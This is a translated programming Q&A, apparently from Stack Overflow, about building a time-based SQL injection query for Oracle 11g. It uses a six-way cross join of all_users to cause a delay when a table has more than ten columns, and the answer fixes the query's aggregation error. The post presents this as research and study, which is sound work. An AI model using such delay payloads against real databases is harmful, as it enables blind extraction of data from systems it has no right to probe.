如何使 Oracle 11g 基于时间的 SQL 注入查询包括 count(*) case count(*)

How to make Oracle 11g Time-based SQL Injection Query including count(*) case count(*)

我尝试为我的研究制作基于时间的SQL注入示例查询

查询:

select case 
       when COUNT( * )>10
       then ( select count( * )
              from   all_users A,
                     all_users B,
                     all_users C,
                     all_users D,
                     all_users E,
                     all_users F
            )
       else 2
       end
from   col
where  tname='BBS';
ERROR at line 1:
ORA-00937: not a single-group group function

enter image description here

(select count(*) from all_users A, all_users B, all_users C, all_users D, all_users E, all_users F) :这是对 oracle11g 造成一些延迟的繁重查询

如果 BBS table 有超过 10 个列,我想在我的数据库中看到一些延迟,谢谢您的帮助!

您收到错误是因为 non-aggregated 列或标识符(在本例中为 the subquery with all_users dictionary views)不能与聚合列(在本例中为COUNT( * )>10)一起存在于 SELECT 查询列表,除非 non-aggregated 个在 GROUP BY 列表中。

所以,用聚合查询替换您的查询:

SELECT CASE 
       WHEN COUNT(*)>10
       THEN MAX((SELECT COUNT( * )
                   FROM all_users A
                  CROSS JOIN all_users B
                  CROSS JOIN all_users C
                  CROSS JOIN all_users D
                  CROSS JOIN all_users E
                  CROSS JOIN all_users F))
       ELSE 2
       END AS result
 FROM col
WHERE tname = 'BBS'

Demo